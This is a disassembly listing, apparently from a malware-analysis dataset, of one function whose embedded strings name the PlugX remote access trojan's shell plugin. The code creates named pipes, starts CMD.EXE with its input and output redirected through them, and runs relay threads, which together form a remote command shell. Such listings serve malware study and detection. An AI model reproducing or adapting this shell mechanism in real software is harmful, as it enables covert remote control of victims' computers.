Function at 0x10018580
Capabilities:
Connect pipe
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
push 0x1000
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], edi
call fcn.10006420
movaps xmm0, xmmword [0x1002ab80]
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 1
push 0
mov dword [esp + 0x38], edi
movups xmmword [esp + 0x3c], xmm0
call esi
push 0
push 0
push 1
push 0
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
call esi
cmp dword [esp + 0x3c], 0
mov dword [esp + 0x58], eax
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
jne 0x10018626
push 0
mov edx, 0x77
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
mov eax, dword [esp + 0x5c]
add esp, 4
test eax, eax
jne 0x1001863b
push eax
lea edx, [eax + 0x78]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
push 0x44
xor edx, edx
lea ecx, [esp + 0xc4]
call fcn.100242ad
add esp, 4
push 0
push 0
push 1
push 0
call esi
mov dword [esp + 0xa8], eax
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa0], 0
test eax, eax
jne 0x1001868c
push eax
mov edx, 0x83
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
push 0
push 0
push 1
push 0
call esi
mov dword [esp + 0xbc], eax
mov dword [esp + 0xb8], 0
mov dword [esp + 0xb4], 0
test eax, eax
jne 0x100186ca
push eax
mov edx, 0x8a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
push edi
mov edi, dword [esp + 0x1c]
push str..pipe_a_d
push edi
mov dword [esp + 0x80], 0xc
mov dword [esp + 0x88], 1
mov dword [esp + 0x84], 0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x74]
push eax
push 0
push 0x1000
push 0x1000
push 0xff
push 0
push 0x40000003
push edi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov dword [esp + 0x2c], eax
cmp eax, 0xffffffff
jne 0x10018737
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10018979
lea ecx, [esp + 0x98]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1001875d
call esi
cmp eax, 0x3e5
jne 0x10018979
push 0
push 0x40000000
push 3
lea eax, [esp + 0x80]
push eax
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x30], eax
cmp eax, 0xffffffff
jne 0x1001878c
call esi
jmp 0x10018979
push 0
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0xa0]
push eax
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x100187b3
call esi
jmp 0x10018979
push dword [esp + 0x10]
push str..pipe_b_d
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x74]
push eax
push 0
push 0x1000
push 0x1000
push 0xff
push 0
push 0x40000003
push edi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov dword [esp + 0x34], eax
cmp eax, 0xffffffff
jne 0x100187fa
call esi
jmp 0x10018979
lea ecx, [esp + 0xac]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1001881a
call esi
cmp eax, 0x3e5
jne 0x10018979
push 0
push 0x40000000
push 3
lea eax, [esp + 0x80]
push eax
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x38], eax
cmp eax, 0xffffffff
jne 0x10018849
call esi
jmp 0x10018979
push 0
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0xb4]
push eax
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x10018870
call esi
jmp 0x10018979
xor eax, eax
mov dword [esp + 0xc0], 0x44
mov word [esp + 0xf0], ax
lea ecx, [esp + 0x14]
mov eax, dword [esp + 0x30]
mov dword [esp + 0xfc], eax
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0xc8], 0
mov dword [esp + 0xec], 0x101
mov dword [esp + 0xf8], eax
call fcn.1001adc0
test eax, eax
je 0x100188d9
push 0
mov edx, 0xd5
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x10018916
push 2
push 0x10028918
lea ecx, [esp + 0x1c]
call fcn.100066e0
test eax, eax
je 0x10018916
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.CMD.EXE
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [esp + 0x14]
push eax
push str.CMD.EXE
call fcn.100066e0
test eax, eax
je 0x1001894a
push 0
mov edx, 0xda
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0xc4]
push eax
push 0
push 0
push 0x10
push 1
push 0
push 0
push dword [esp + 0x40]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x100189ab
call esi
mov edi, dword [esp + 0x18]
mov dword [ebx], 0x20120123
mov dword [ebx + 4], 0x7002
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], 0
call fcn.100184a0
push 0x7530
push ebx
push dword [esp + 0x18]
mov eax, dword [eax + 0x38]
call eax
mov ebx, eax
jmp 0x10018c5d
mov dword [ebx], 0x20120123
mov dword [ebx + 4], 0x7002
mov dword [ebx + 0xc], 0
mov dword [ebx + 8], 0
call fcn.100184a0
push 0x7530
push ebx
push dword [esp + 0x18]
mov eax, dword [eax + 0x38]
call eax
mov ebx, eax
test ebx, ebx
jne 0x10018c59
mov esi, dword [0x1002d3d4]
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test esi, esi
jne 0x10018a1c
push 0x24
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10018a14
push esi
call edi
lea eax, [esi + 0x18]
mov dword [eax + 8], ebx
mov dword [eax], eax
mov dword [eax + 4], eax
jmp 0x10018a16
xor esi, esi
mov dword [0x1002d3d4], esi
lea eax, [esp + 0x28]
mov ecx, esi
push eax
push 0x10018e50
push str.ShellT1
lea eax, [esp + 0x4c]
push eax
call fcn.10023c80
mov ebx, eax
test ebx, ebx
je 0x10018a48
push ebx
mov edx, 0xee
jmp 0x10018c4c
mov esi, dword [0x1002d3d4]
test esi, esi
jne 0x10018a7e
push 0x24
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10018a76
push esi
call edi
lea eax, [esi + 0x18]
mov dword [eax + 8], 0
mov dword [eax], eax
mov dword [eax + 4], eax
jmp 0x10018a78
xor esi, esi
mov dword [0x1002d3d4], esi
lea eax, [esp + 0x28]
mov ecx, esi
push eax
push 0x10019220
push str.ShellT2
lea eax, [esp + 0x50]
push eax
call fcn.10023c80
mov ebx, eax
test ebx, ebx
je 0x10018aaa
push ebx
mov edx, 0xf3
jmp 0x10018c4c
call fcn.100184a0
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x24]
push ecx
push edi
mov eax, dword [eax + 0x10]
call eax
test eax, eax
je 0x10018ad6
push 0
mov edx, 0xfa
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
call fcn.100184a0
push dword [esp + 0x3c]
push edi
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je 0x10018afd
push 0
mov edx, 0xff
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov esi, dword [0x1002d3c8]
test esi, esi
jne 0x10018b62
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10018b5a
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi], eax
test eax, eax
jne 0x10018b5c
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x10018b5c
xor esi, esi
mov dword [0x1002d3c8], esi
mov eax, dword [esi]
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x5c]
push 0xffffffffffffffff
mov dword [esp + 0x98], eax
lea eax, [esp + 0x88]
push 0
push eax
push 5
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 4
ja case.default.0x10018bb0
jmp dword [eax*4 + 0x10018e34]
push 0
mov edx, 0x112
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
push dword [esp + 0x3c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x10018bec
push eax
mov edx, 0x117
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esp + 0x44]
call esi
test eax, eax
je 0x10018c12
push 0
mov edx, 0x11c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
push 0xffffffffffffffff
push dword [esp + 0x48]
call esi
test eax, eax
je 0x10018c32
push 0
mov edx, 0x121
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
call fcn.100184a0
push dword [esp + 0x24]
push edi
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je 0x10018c59
push 0
mov edx, 0x126
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x10018c6e
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0xa8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10018c99
push eax
call esi
test eax, eax
jne 0x10018c99
push eax
mov edx, 0x144
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0xbc]
test eax, eax
je 0x10018cbe
push eax
call esi
test eax, eax
jne 0x10018cbe
push eax
mov edx, 0x14c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x10018ce0
push eax
call esi
test eax, eax
jne 0x10018ce0
push eax
mov edx, 0x154
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x60]
test eax, eax
je 0x10018d02
push eax
call esi
test eax, eax
jne 0x10018d02
push eax
mov edx, 0x15c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x10018d24
push eax
call esi
test eax, eax
jne 0x10018d24
push eax
mov edx, 0x164
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x30]
test eax, eax
je 0x10018d46
push eax
call esi
test eax, eax
jne 0x10018d46
push eax
mov edx, 0x16c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x34]
test eax, eax
je 0x10018d68
push eax
call esi
test eax, eax
jne 0x10018d68
push eax
mov edx, 0x174
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x38]
test eax, eax
je 0x10018d8a
push eax
call esi
test eax, eax
jne 0x10018d8a
push eax
mov edx, 0x17c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x10018dac
push eax
call esi
test eax, eax
jne 0x10018dac
push eax
mov edx, 0x184
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x58]
test eax, eax
je 0x10018dce
push eax
call esi
test eax, eax
jne 0x10018dce
push eax
mov edx, 0x18c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x40]
test eax, eax
je 0x10018df0
push eax
call esi
test eax, eax
jne 0x10018df0
push eax
mov edx, 0x194
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x44]
test eax, eax
je 0x10018e12
push eax
call esi
test eax, eax
jne 0x10018e12
push eax
mov edx, 0x19c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
test ebx, ebx
mov esi, 0x2746
cmovne esi, ebx
test edi, edi
je 0x10018e2b
push 1
push edi
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret